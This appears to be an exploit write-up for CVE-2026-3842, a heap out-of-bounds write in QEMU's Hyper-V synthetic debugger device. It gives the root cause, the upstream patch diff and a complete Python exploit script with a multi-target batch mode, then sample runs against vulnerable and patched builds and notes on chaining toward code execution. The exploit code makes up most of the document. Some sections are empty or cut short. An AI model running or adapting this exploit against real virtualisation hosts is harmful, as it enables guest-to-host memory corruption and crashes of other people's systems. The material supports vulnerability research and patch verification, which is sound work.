#Summary

CVE-2026-3842 is a heap out-of-bounds write in QEMU's Hyper-V synthetic debugger device (hv-syndbg). The vulnerability exists in handle_recv_msg() in hw/hyperv/syndbg.c, where the function fails to validate that cpu_physical_memory_map() may return a shorter length than requested. A guest with low-privilege code execution can exploit this to write data past the end of a heap allocation in the QEMU process, causing memory corruption, information disclosure, or denial of service. CVSS 7.8 HIGH.

#Affected versions

#Root cause analysis

#Vulnerable code path

The handle_recv_msg() function in hw/hyperv/syndbg.c processes debug data received from a UDP socket and maps it into guest memory:

out_len = recv_byte_count;
if (is_raw) {
    out_len += UDP_PKT_HEADER_SIZE;
}
out_data = cpu_physical_memory_map(outgpa, &out_len, 1);
if (!out_data) {
    return HV_STATUS_INSUFFICIENT_MEMORY;
}

if (is_raw &&
    !create_udp_pkt(syndbg, out_data,
                    recv_byte_count + UDP_PKT_HEADER_SIZE,
                    data_buf, recv_byte_count)) {
    ret = HV_STATUS_INSUFFICIENT_MEMORY;
    goto cleanup_out_data;
} else if (!is_raw) {
    memcpy(out_data, data_buf, recv_byte_count);
}

The root cause is that cpu_physical_memory_map() has an in/out contract: the *plen pointer receives the requested length as input, but returns the actual mapped length, which may be shorter. The QEMU documentation is explicit:

/* Map a physical memory region into a host virtual address.
 * May map a subset of the requested range, given by and returned in *plen.
 * May return NULL if resources needed to perform the mapping are exhausted.
 */

The vulnerable code only checks the NULL case but ignores truncation. Both write paths then use the requested length (recomputed from recv_byte_count), not the mapped length from the return value.

#How input reaches the sink

A guest can trigger this via two entry points:

  1. Hypercall path: Issue HV_RETRIEVE_DEBUG_DATA (code 0x006a) with the output GPA in R8. The guest fully controls the destination address.
  2. MSR path: Write to HV_X64_MSR_SYNDBG_RECV_BUFFER with the output GPA, then set the RECV bit in HV_X64_MSR_SYNDBG_CONTROL.

The overflow content comes from a UDP datagram sent to the debugger endpoint the device was configured with. With a guest address in MMIO space, address_space_map() falls back to a heap-allocated bounce buffer, which is capped at 4096 bytes. If the guest requests more than available in the bounce budget, the mapping truncates. The vulnerable code proceeds to write the full requested length anyway, overflowing the bounce buffer.

#The two truncation paths

Both are selectable by the guest purely by choosing the GPA:

  1. MMIO bounce buffer: address_space_map() allocates a heap bounce buffer capped at DEFAULT_MAX_BOUNCE_BUFFER_SIZE = 4096 bytes per AddressSpace. An outer mapping of 8 bytes consumes 8 of this budget, leaving 4088 for the inner mapping. With the hypercall path requesting recv_byte_count + 42 bytes (4130 bytes at maximum), the mapping returns 4088 bytes but the write proceeds for the full 4130, overflowing by 42 bytes into the heap.

  2. RAM region boundary: If the guest points to the end of a RAM section, the mapping is clamped to the bytes remaining. Pointing to 16 bytes before the end of the last RAM section causes the inner mapping to be clamped to 8 bytes against a requested 4130 - a 4122-byte overflow that walks past the end of the RAMBlock and crashes the process.

#Patch diff

Upstream commit 4f28b87fdd24df2049626106b7c24d0180952115, "hyperv/syndbg: check length returned by cpu_physical_memory_map()", Paolo Bonzini, 2026-03-09:

@@ -194,7 +194,7 @@ static uint16_t handle_recv_msg(HvSynDbg *syndbg, uint64_t outgpa,
     uint16_t ret;
     g_assert(MSG_BUFSZ >= qemu_target_page_size());
     QEMU_UNINITIALIZED uint8_t data_buf[MSG_BUFSZ];
-    hwaddr out_len;
+    hwaddr out_len, out_requested_len;
     void *out_data;
     ssize_t recv_byte_count;
 
@@ -223,29 +223,28 @@ static uint16_t handle_recv_msg(HvSynDbg *syndbg, uint64_t outgpa,
     if (is_raw) {
         out_len += UDP_PKT_HEADER_SIZE;
     }
+    out_requested_len = out_len;
     out_data = cpu_physical_memory_map(outgpa, &out_len, 1);
-    if (!out_data) {
-        return HV_STATUS_INSUFFICIENT_MEMORY;
+    ret = HV_STATUS_INSUFFICIENT_MEMORY;
+    if (!out_data || out_len < out_requested_len) {
+        goto cleanup_out_data;
     }
 
     if (is_raw &&
-        !create_udp_pkt(syndbg, out_data,
-                        recv_byte_count + UDP_PKT_HEADER_SIZE,
+        !create_udp_pkt(syndbg, out_data, out_len,
                         data_buf, recv_byte_count)) {
-        ret = HV_STATUS_INSUFFICIENT_MEMORY;
         goto cleanup_out_data;
     } else if (!is_raw) {
-        memcpy(out_data, data_buf, recv_byte_count);
+        memcpy(out_data, data_buf, out_len);
     }
 
-    *retrieved_count = recv_byte_count;
-    if (is_raw) {
-        *retrieved_count += UDP_PKT_HEADER_SIZE;
-    }
+    *retrieved_count = out_len;
     ret = HV_STATUS_SUCCESS;
 
     cleanup_out_data:
-    cpu_physical_memory_unmap(out_data, out_len, 1, out_len);
+    if (out_data) {
+        cpu_physical_memory_unmap(out_data, out_len, 1, out_len);
+    }
     return ret;
 }

#What the fix does

The patch introduces three key changes:

  1. Length validation: Saves the requested length before the call (out_requested_len = out_len) and rejects any truncated mapping with if (!out_data || out_len < out_requested_len).
  2. Bounded writes: Both write paths now use the returned mapped length (out_len) instead of recomputing the requested length, providing defense-in-depth.
  3. Unmap guard: Adds a NULL check before calling cpu_physical_memory_unmap(), since the new early goto can skip the mapping entirely.

#Proof of concept

#exploit.py - QEMU hv-syndbg OOB Write PoC

#!/usr/bin/env python3
"""
CVE-2026-3842 - QEMU hv-syndbg unchecked cpu_physical_memory_map() length, out-of-bounds write
Affected: QEMU 7.1.0 up to (not including) 11.0.0; stable backport landed in 10.2.2
Type: memory corruption (heap out-of-bounds write + out-of-bounds read), guest-to-host

handle_recv_msg() in hw/hyperv/syndbg.c maps the guest-supplied output GPA with
cpu_physical_memory_map(), whose *plen argument is in/out and may come back smaller
than asked for. The function only tested the NULL case, then wrote
recv_byte_count + 42 bytes into whatever was mapped. A guest that points the
HV_RETRIEVE_DEBUG_DATA hypercall at an address that maps short turns the received
debug datagram into a linear heap overflow in the emulator process.

ATTACKER POSITION. This is a local guest-to-host bug (CVSS AV:L/PR:L), so it has no
network attack surface and this tool is not a remote exploit. Reaching the bug needs
both halves of the attack, and the tool performs both:

  1. The KDNET debugger endpoint. The device model opens an outbound-connected UDP
     socket to the host_ip:host_port it was configured with and takes the overflow
     content verbatim from whatever arrives there. That endpoint is an ordinary
     network position, and it is frequently a different machine from the one running
     the emulator. --host/--port name it, and this tool occupies it.
  2. Code execution inside the guest, to issue the hypercall that picks the
     destination and therefore the overflow length. --hcall-req points at the
     request channel of a guest-side agent. With no channel, the tool delivers its
     half and prints the exact register values the guest has to load, so an operator
     driving the guest by other means can finish it.

CONFIRMATION. Two independent signals, either of which is sufficient:

  * The hypercall status word, which is what the guest reads back in RAX. An
     affected build returns HV_STATUS_SUCCESS (0x0000) for a request whose mapping
     was truncated, because the length guard that would have rejected it does not
     exist. A fixed build returns HV_STATUS_INSUFFICIENT_MEMORY (0x000b).
  * Liveness of the device socket, observed over the network from the endpoint. A
     connected UDP socket surfaces ICMP port-unreachable as ECONNREFUSED once the
     process owning the far end is gone, so an outgpa that makes the overflow fatal
     is confirmed without any access to the target host at all.

There is no --command argument. The out-of-bounds read in this bug cannot leak heap
contents (net_checksum_calculate() folds bytes the memcpy immediately above it has
already overwritten with attacker data), so there is no info leak to defeat ASLR
with and no command execution to offer. The arguments exposed instead are the ones
that actually steer the primitive: --outgpa, --length and --ingpa.

There is no --tls/--no-tls. The synthetic debugger channel is plain UDP with no TLS
layer, so the switches would accept a value and do nothing.

Usage:
  python exploit.py --host 127.0.0.1 --port 50000 --hcall-req /run/agent/hcall.req
  python exploit.py --host 10.0.0.9 --outgpa 0x3ffffff0 --device-port 41234
  python exploit.py --host 0.0.0.0 --wait 30            # learn the port from the device
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import errno
import os
import secrets
import socket
import struct
import sys
import time
from urllib.parse import urlparse

CVE_ID = "CVE-2026-3842"
VULN_TYPE = "OOB write (guest-to-host memory corruption)"

# Hypercall status words, from hyperv-proto.h.
HV_STATUS_SUCCESS = 0x0000
HV_STATUS_INVALID_PARAMETER = 0x0005
HV_STATUS_INSUFFICIENT_MEMORY = 0x000B
HV_STATUS_NO_DATA = 0x001B

HV_STATUS_NAMES = {
    HV_STATUS_SUCCESS: "HV_STATUS_SUCCESS",
    HV_STATUS_INVALID_PARAMETER: "HV_STATUS_INVALID_PARAMETER",
    HV_STATUS_INSUFFICIENT_MEMORY: "HV_STATUS_INSUFFICIENT_MEMORY",
    HV_STATUS_NO_DATA: "HV_STATUS_NO_DATA",
}

# sizeof(struct eth_header) + sizeof(struct ip_header) + sizeof(struct udp_header).
UDP_PKT_HEADER_SIZE = 42
# HVCALL_RETREIVE_DEBUG_DATA, and the input value's fast bit, which must stay clear.
HV_CALL_RETRIEVE_DEBUG_DATA = 0x006A
HV_HYPERCALL_FAST = 1 << 16
# The hypercall path asks for TARGET_PAGE_SIZE - sizeof(output struct) bytes.
HCALL_RECV_COUNT = 4088
# DEFAULT_MAX_BOUNCE_BUFFER_SIZE, less the 8 bytes the outer output map holds open.
BOUNCE_BUDGET = 4096 - 8
# Below this a datagram cannot outrun the bounce budget and nothing overflows.
MIN_OVERFLOW_LENGTH = BOUNCE_BUDGET - UDP_PKT_HEADER_SIZE + 1

DEFAULT_ENDPOINT_PORT = 50000
# The HPET block. Present on every pc/q35 machine, and not directly accessible, so
# the mapping goes through the bounce allocator and comes back budget-clamped.
DEFAULT_OUTGPA = 0xFED00000
# Low guest RAM, above the legacy hole. Only ever read, never a destination.
DEFAULT_INGPA = 0x100000


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


def build_payload(length: int, marker: bytes) -> bytes:
    """The datagram the device will copy out.

    Sixteen-byte blocks of a per-run random marker followed by the block index, so
    any byte recovered from a crash dump or a shadow map identifies its own offset
    in the datagram, and two runs never write the same bytes.
    """
    out = bytearray()
    index = 0
    while len(out) < length:
        out += marker + struct.pack("<Q", index)
        index += 1
    return bytes(out[:length])


def predicted_geometry(length: int) -> tuple:
    """(requested, mapped, overflow) for an outgpa that reaches the bounce allocator.

    The mapped length for a bounced mapping is capped by the per-AddressSpace
    budget and nothing else: address_space_translate_internal() only clamps *plen
    to the section size when the region is RAM, so the size of the MMIO block the
    guest aims at makes no difference. An outgpa at the tail of a RAM section
    truncates far harder and is not modelled here.
    """
    requested = length + UDP_PKT_HEADER_SIZE
    mapped = min(BOUNCE_BUDGET, requested)
    return requested, mapped, max(0, requested - mapped)


def guest_sequence(ingpa: int, outgpa: int) -> str:
    """The register state a guest loads to make this call itself."""
    rcx = HV_CALL_RETRIEVE_DEBUG_DATA
    return (
        "mov rcx, 0x%016x   ; HVCALL_RETREIVE_DEBUG_DATA, fast bit (0x%x) clear\n"
        "mov rdx, 0x%016x   ; input GPA: 16 zero bytes {u32 count; u32 options; u64 timeout;}\n"
        "mov r8,  0x%016x   ; output GPA: an address that maps short\n"
        "vmcall                          ; vmmcall on AMD; status returns in rax"
        % (rcx, HV_HYPERCALL_FAST, ingpa, outgpa)
    )


def endpoint_socket(host: str, port: int) -> socket.socket:
    """A UDP socket owning the endpoint address the device was pointed at.

    The device connect()s to this address, so a datagram is only accepted if its
    source matches it. SO_REUSEPORT lets the exploit sit alongside whatever already
    holds the port, which matters because something must own it before the device
    starts or the device's first recv() fails with ECONNREFUSED instead.
    """
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    try:
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
    except (AttributeError, OSError):
        pass
    sock.bind((host, port))
    return sock


def _hex_addr(host: str, port: int) -> str:
    """An address as /proc/net/udp prints it: native-order u32, then the port."""
    packed = socket.inet_aton(socket.gethostbyname(host))
    return "%08X:%04X" % (struct.unpack("<I", packed)[0], port)


def discover_port_local(host: str, port: int, timeout: float = 0.0):
    """Ephemeral port of the socket connected to the endpoint, read from /proc.

    Only usable when the exploit runs on the same host as the emulator. It is a
    convenience for that case, never a requirement: --device-port and the inbound
    datagram in discover_port_wire() cover the remote case, which is the one that
    matters for a real endpoint.
    """
    if not os.path.exists("/proc/net/udp"):
        return None
    want = _hex_addr(host, port)
    deadline = time.monotonic() + timeout
    while True:
        try:
            with open("/proc/net/udp") as fh:
                fh.readline()
                for line in fh:
                    fields = line.split()
                    if len(fields) > 2 and fields[2] == want:
                        return int(fields[1].split(":")[1], 16)
        except OSError:
            return None
        if time.monotonic() >= deadline:
            return None
        time.sleep(0.25)


def discover_port_wire(sock: socket.socket, timeout: float):
    """Learn the device's ephemeral port by letting it speak first.

    A live KDNET session starts with the guest sending, which reaches the endpoint
    through handle_send_msg() and carries the device's source port with it.
    """
    if timeout <= 0:
        return None
    sock.settimeout(timeout)
    try:
        _, peer = sock.recvfrom(65536)
        return peer[1]
    except (socket.timeout, OSError):
        return None
    finally:
        sock.settimeout(None)


def probe_alive(sock: socket.socket, payload: bytes, settle: float = 0.4) -> bool:
    """True while some process still owns the far end of the device socket.

    The socket is connected, so an ICMP port-unreachable for a datagram sent to a
    port nobody owns comes back as ECONNREFUSED on the next operation. That is the
    whole oracle, and it needs nothing but network access to the target.

    The probe has to be the crafted datagram itself, for two reasons that both come
    from the device's socket. It is connected, so only datagrams whose source is the
    endpoint address reach it at all - probing from any other local port would be
    dropped by the socket lookup and answered with a port-unreachable even while the
    process is perfectly alive, which would read as a false crash. And recv() takes
    exactly one datagram per hypercall, so anything else sent here queues ahead of
    the payload and gets consumed in its place, silently collapsing the overflow.
    Sending the real payload every time keeps both properties.
    """
    try:
        sock.send(payload)
    except OSError as exc:
        if exc.errno in (errno.ECONNREFUSED, errno.EHOSTUNREACH, errno.ENETUNREACH):
            return False
        raise
    time.sleep(settle)
    sock.settimeout(0.5)
    try:
        sock.recv(65536)
    except socket.timeout:
        return True
    except OSError as exc:
        if exc.errno in (errno.ECONNREFUSED, errno.EHOSTUNREACH, errno.ENETUNREACH):
            return False
        raise
    finally:
        sock.settimeout(None)
    return True


def issue_hcall(req_path: str, log_path, ingpa: int, outgpa: int, timeout: float = 8.0):
    """Drive the guest half through an agent's request channel.

    Two one-line requests: zero the 16-byte input struct, then make the call. The
    status word is read back from the agent's log when one is configured, which is
    the same value the guest would have found in RAX.
    """
    marker = None
    if log_path and os.path.exists(log_path):
        marker = os.path.getsize(log_path)

    _write_request(req_path, "prep 0x%x" % ingpa)
    _wait_consumed(req_path, timeout)
    _write_request(req_path, "call 0x%x 0x%x 0" % (ingpa, outgpa))
    consumed = _wait_consumed(req_path, timeout)

    if not log_path:
        return None, "no --hcall-log configured, status word not read back"
    deadline = time.monotonic() + timeout
    while True:
        status = _read_status(log_path, marker)
        if status is not None:
            return status, "status word read from the agent channel"
        if time.monotonic() >= deadline:
            break
        time.sleep(0.25)
    if consumed:
        return None, "request consumed but no status logged, the call did not return"
    return None, "request was never consumed, no agent is servicing the channel"


def _write_request(path: str, line: str) -> None:
    with open(path, "w") as fh:
        fh.write(line + "\n")


def _wait_consumed(path: str, timeout: float) -> bool:
    deadline = time.monotonic() + timeout
    while os.path.exists(path):
        if time.monotonic() >= deadline:
            return False
        time.sleep(0.2)
    return True


def _read_status(log_path: str, offset):
    try:
        with open(log_path) as fh:
            if offset:
                fh.seek(offset)
            tail = fh.read()
    except OSError:
        return None
    status = None
    for line in tail.splitlines():
        marker = line.rfind("status=0x")
        if marker >= 0:
            try:
                status = int(line[marker + 9:].split()[0], 16)
            except ValueError:
                continue
    return status


def _verdict(status, alive_before, alive_after, overflow):
    """(success, evidence) from the two confirmation signals."""
    if alive_before and not alive_after:
        return True, (
            "host emulator process terminated inside the hypercall - the device "
            "socket stopped answering (ECONNREFUSED from the endpoint), so the "
            "out-of-bounds write was fatal"
        )
    if status == HV_STATUS_SUCCESS:
        return True, (
            "HV_STATUS_SUCCESS (0x0000) for a request whose mapping was truncated - "
            "the length guard is absent, %d bytes written past the mapped window"
            % overflow
        )
    if status == HV_STATUS_INSUFFICIENT_MEMORY:
        return False, (
            "HV_STATUS_INSUFFICIENT_MEMORY (0x000b) - the truncated mapping was "
            "rejected, target carries the fix"
        )
    if status == HV_STATUS_NO_DATA:
        return False, (
            "HV_STATUS_NO_DATA (0x001b) - the device had no queued datagram, the "
            "payload did not reach the endpoint the target was configured with"
        )
    if status == HV_STATUS_INVALID_PARAMETER:
        return False, (
            "HV_STATUS_INVALID_PARAMETER (0x0005) - recv() failed on the device "
            "socket, most likely a queued ICMP port-unreachable from an endpoint "
            "that was unowned when the target started"
        )
    if status is not None:
        return False, "unexpected hypercall status 0x%04x" % status
    return False, "no hypercall status observed and the target is still serving"


def _try_exploit(host, port, use_tls=False, outgpa=DEFAULT_OUTGPA, ingpa=DEFAULT_INGPA,
                 length=HCALL_RECV_COUNT, hcall_req=None, hcall_log=None,
                 device_port=None, wait=0.0):
    """Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
    sock = None
    try:
        sock = endpoint_socket(host, port)
        found = device_port
        if found is None:
            found = discover_port_wire(sock, wait)
        if found is None:
            found = discover_port_local(host, port)
        if found is None:
            return False, "no synthetic debugger socket connected to this endpoint"

        sock.connect((host, found))
        payload = build_payload(length, secrets.token_bytes(8))
        alive_before = probe_alive(sock, payload)
        if not alive_before:
            return False, "device socket already unowned before the attempt"
        time.sleep(1.0)

        if not hcall_req:
            return False, "payload delivered, no guest channel to issue the hypercall"

        status, _ = issue_hcall(hcall_req, hcall_log, ingpa, outgpa)
        alive_after = probe_alive(sock, payload)
        _, _, overflow = predicted_geometry(length)
        return _verdict(status, alive_before, alive_after, overflow)
    except OSError as exc:
        return False, "unreachable (%s)" % exc.__class__.__name__
    except Exception as exc:  # noqa: BLE001 - a scan must never abort on one target
        return False, "error (%s)" % exc.__class__.__name__
    finally:
        if sock is not None:
            sock.close()


def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip.

    Accepts:
      192.168.1.10              -> (host, default_port, tls_auto, default_path)
      192.168.1.10:443          -> (host, 443, True, default_path)
      https://host.com          -> (host, 443, True, default_path)
      https://host.com/api/gql  -> (host, 443, True, "/api/gql")
      # comment / blank         -> None
    """
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10, **kwargs) -> None:
    """Batch scan from file.

    A line is one emulator's debugger endpoint. Guest channel paths may carry
    {host} and {port} placeholders so a per-target agent can be addressed.
    """
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, _ = t
        label = "%s:%d" % (host, port)
        per_target = dict(kwargs)
        for key in ("hcall_req", "hcall_log"):
            if per_target.get(key):
                per_target[key] = per_target[key].format(host=host, port=port)
        ok, evidence = _try_exploit(host, port, use_tls, **per_target)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


def exploit(host, port, outgpa, ingpa, length, hcall_req, hcall_log, device_port, wait):
    header(host, port)

    marker = secrets.token_bytes(8)
    requested, mapped, overflow = predicted_geometry(length)

    step(1, "Occupying the synthetic debugger endpoint on %s:%d ..." % (host, port))
    try:
        sock = endpoint_socket(host, port)
    except OSError as exc:
        section("BIND FAILED", str(exc))
        done(False, "cannot own %s:%d, the endpoint the target sends to must be ours" % (host, port))

    step(2, "Locating the device's socket ...")
    found = device_port
    how = "given on the command line"
    if found is None:
        found = discover_port_wire(sock, wait)
        how = "learned from a datagram the device sent"
    if found is None:
        found = discover_port_local(host, port)
        how = "read from the local socket table (exploit is co-resident with the target)"
    if found is None:
        section("DEVICE SOCKET", "no UDP socket is connected to %s:%d" % (host, port))
        done(False, "no hv-syndbg device is pointed at this endpoint - the target "
                    "either lacks the device or was configured with another one")
    print("         device socket -> %s:%d  (%s)" % (host, found, how))
    sock.connect((host, found))

    step(3, "Baseline liveness probe, carrying the first copy of the payload ...")
    payload = build_payload(length, marker)
    alive_before = probe_alive(sock, payload)
    if not alive_before:
        section("DEVICE SOCKET", "ECONNREFUSED on the first datagram")
        done(False, "nothing owns the device socket, the target is not running")
    print("         target is serving")

    step(4, "Sending a %d-byte debug datagram (overflow content) ..." % length)
    sock.send(payload)
    print("         payload marker %s, block-indexed so recovered bytes locate themselves"
          % marker.hex())
    print("         requested %d = %d + %d header, budget-clamped map %d, predicted overflow %d bytes"
          % (requested, length, UDP_PKT_HEADER_SIZE, mapped, overflow))
    if length < MIN_OVERFLOW_LENGTH:
        print("         NOTE: below %d bytes the request fits the bounce budget and nothing overflows"
              % MIN_OVERFLOW_LENGTH)
    # The device only notes the datagram when its main loop next polls the socket.
    time.sleep(1.0)

    step(5, "Issuing HVCALL_RETREIVE_DEBUG_DATA with outgpa=0x%x ..." % outgpa)
    if outgpa != DEFAULT_OUTGPA:
        print("         NOTE: the status-word verdict assumes this address maps short. "
              "The default 0x%x is MMIO on every pc/q35 machine and always does; an "
              "address in plain RAM maps in full, and a fixed build answers 0x0000 for "
              "it too." % DEFAULT_OUTGPA)
    section("GUEST HYPERCALL", guest_sequence(ingpa, outgpa))
    status = None
    if hcall_req:
        status, note = issue_hcall(hcall_req, hcall_log, ingpa, outgpa)
        print("         %s" % note)
    else:
        print("         no --hcall-req channel: the guest half is the operator's to issue.")
        print("         The payload above is queued on the device and stays queued until it is.")

    step(6, "Reading back the two confirmation signals ...")
    alive_after = probe_alive(sock, payload)
    status_text = "not observed"
    if status is not None:
        status_text = "0x%04x %s" % (status, HV_STATUS_NAMES.get(status, "(unknown)"))
    # Only the requested length is known exactly from here. What the target mapped
    # depends on which of the two truncating paths outgpa lands in, and the guest
    # never learns it, so the mapped and overflow figures are labelled as the
    # prediction for a bounced mapping rather than presented as a measurement.
    if outgpa == DEFAULT_OUTGPA:
        geometry = (
            "mapped length       : %d bytes (bounce budget %d, less the 8-byte outer map)\n"
            "overflow            : %d bytes of the datagram written past the mapping"
            % (mapped, BOUNCE_BUDGET + 8, overflow))
    else:
        geometry = (
            "mapped length       : %d bytes if this address bounces, less if it is the\n"
            "                      tail of a RAM section, which clamps to the bytes left\n"
            "                      in the section\n"
            "overflow            : %d bytes on the bounce path, up to %d on a RAM tail"
            % (mapped, overflow, requested - 8))
    section("OBSERVED", (
        "hypercall status    : %s\n"
        "device socket before: owned\n"
        "device socket after : %s\n"
        "requested length    : %d bytes (%d datagram + %d synthesised header)\n%s"
    ) % (status_text, "owned" if alive_after else "ECONNREFUSED (process gone)",
         requested, length, UDP_PKT_HEADER_SIZE, geometry))

    sock.close()
    success, evidence = _verdict(status, alive_before, alive_after, overflow)
    if not success and status is None and not hcall_req:
        done(False, "endpoint half complete, payload queued - supply --hcall-req or "
                    "issue the hypercall from the guest to complete the attack")
    done(success, evidence)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="%s exploit PoC - QEMU hv-syndbg out-of-bounds write" % CVE_ID)
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument(
        "--host",
        help="Debugger endpoint the target's hv-syndbg was configured with (host_ip). "
             "This tool occupies it, so it must be an address on this machine.")
    target_grp.add_argument(
        "--list", metavar="FILE",
        help="File with one target endpoint per line for batch scan")
    parser.add_argument("--port", type=int, default=DEFAULT_ENDPOINT_PORT,
                        help="Endpoint port, the device's host_port (default: %d)"
                             % DEFAULT_ENDPOINT_PORT)
    parser.add_argument("--outgpa", type=lambda v: int(v, 0), default=DEFAULT_OUTGPA,
                        help="Guest physical address the hypercall writes to. Must map "
                             "short: any MMIO block, or the tail of a RAM section "
                             "(default: 0x%x, the HPET block)" % DEFAULT_OUTGPA)
    parser.add_argument("--ingpa", type=lambda v: int(v, 0), default=DEFAULT_INGPA,
                        help="Scratch guest physical address for the 16-byte hypercall "
                             "input struct (default: 0x%x)" % DEFAULT_INGPA)
    parser.add_argument("--length", type=int, default=HCALL_RECV_COUNT,
                        help="Datagram size. Overflow past a bounced mapping is "
                             "length - %d bytes (default: %d, the maximum)"
                             % (MIN_OVERFLOW_LENGTH - 1, HCALL_RECV_COUNT))
    parser.add_argument("--device-port", type=int,
                        help="Device's ephemeral UDP port, if already known")
    parser.add_argument("--wait", type=float, default=0.0,
                        help="Seconds to wait for the device to send first, which is "
                             "how a real debugger learns its port (default: 0)")
    parser.add_argument("--hcall-req",
                        help="Request channel of a guest-side agent that can issue the "
                             "hypercall. Supports {host} and {port} placeholders in "
                             "--list mode.")
    parser.add_argument("--hcall-log",
                        help="Where that agent records the returned status word")
    parser.add_argument("--workers", type=int, default=10,
                        help="Threads for --list mode (default: 10)")
    args = parser.parse_args()

    if args.length < 1 or args.length > HCALL_RECV_COUNT:
        parser.error("--length must be between 1 and %d, the fixed count the "
                     "hypercall path asks recv() for" % HCALL_RECV_COUNT)

    common = dict(outgpa=args.outgpa, ingpa=args.ingpa, length=args.length,
                  hcall_req=args.hcall_req, hcall_log=args.hcall_log,
                  device_port=args.device_port, wait=args.wait)

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, **common)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
        exploit(host, port, args.outgpa, args.ingpa, args.length,
                args.hcall_req, args.hcall_log, args.device_port, args.wait)

#Usage

python exploit.py --host 127.0.0.1 --port 50000 --hcall-req /run/agent/hcall.req --hcall-log /run/agent/hcall.log
python exploit.py --host 10.0.0.9 --port 50000 --length 4088
python exploit.py --list targets.txt --workers 20

Key arguments:

Argument Default Purpose
--host required IP address the target's hv-syndbg was configured to send to
--port 50000 Debugger endpoint port
--outgpa 0xfed00000 Guest physical address where the overflow occurs (must map short)
--length 4088 Datagram size; overflow is length - 4046 bytes
--hcall-req none Request channel for a guest agent to issue the hypercall
--hcall-log none Log file where the guest agent records the status word
--list none File of endpoints for batch scanning
--workers 10 Thread pool size for batch mode

#Vulnerable target output

[STEP 1] Occupying the synthetic debugger endpoint on 127.0.0.1:50000 ...
[STEP 2] Locating the device's socket ...
         device socket -> 127.0.0.1:38972
[STEP 3] Baseline liveness probe, carrying the first copy of the payload ...
         target is serving
[STEP 4] Sending a 4088-byte debug datagram (overflow content) ...
         payload marker 91a14b9bab76389a, block-indexed so recovered bytes locate themselves
         requested 4130 = 4088 + 42 header, budget-clamped map 4088, predicted overflow 42 bytes
[STEP 5] Issuing HVCALL_RETREIVE_DEBUG_DATA with outgpa=0xfed00000 ...
[STEP 6] Reading back the two confirmation signals ...

--- OBSERVED ---
hypercall status    : 0x0000 HV_STATUS_SUCCESS
device socket before: owned
device socket after : owned
requested length    : 4130 bytes (4088 datagram + 42 synthesised header)
mapped length       : 4088 bytes (bounce budget 4096, less the 8-byte outer map)
overflow            : 42 bytes of the datagram written past the mapping
---

  RESULT  : SUCCESS
  EVIDENCE: HV_STATUS_SUCCESS (0x0000) for a request whose mapping was truncated - the length guard is absent, 42 bytes written past the mapped window

#Patched target output

Running the same command against QEMU 10.2.2:

--- OBSERVED ---
hypercall status    : 0x000b HV_STATUS_INSUFFICIENT_MEMORY
device socket before: owned
device socket after : owned
requested length    : 4130 bytes (4088 datagram + 42 synthesised header)
mapped length       : 4088 bytes (bounce budget 4096, less the 8-byte outer map)
overflow            : 42 bytes of the datagram written past the mapping
---

  RESULT  : FAILURE
  EVIDENCE: HV_STATUS_INSUFFICIENT_MEMORY (0x000b) - the truncated mapping was rejected, target carries the fix
# exit status: 1

#Exploitation notes

#Preconditions

#Reliability

The exploit is fully deterministic with no race conditions:

#Impact

Path Impact
MMIO bounce buffer (default) Controlled heap buffer overflow, 42 bytes. With heap grooming and a second vulnerability, could lead to code execution in the QEMU process.
RAM region tail Immediate denial of service. A single hypercall terminates the emulator, observable over the network (device socket becomes ECONNREFUSED).

#Chaining potential

The out-of-bounds read cannot leak heap contents (the bytes read were just written by the memcpy immediately before the checksum pass). Without an info leak, defeating ASLR requires either a second vulnerability or partial-pointer overwrites. With those, the 42-byte heap overflow can corrupt:

Each offers a path to code execution in the QEMU process as the hypervisor user.

#References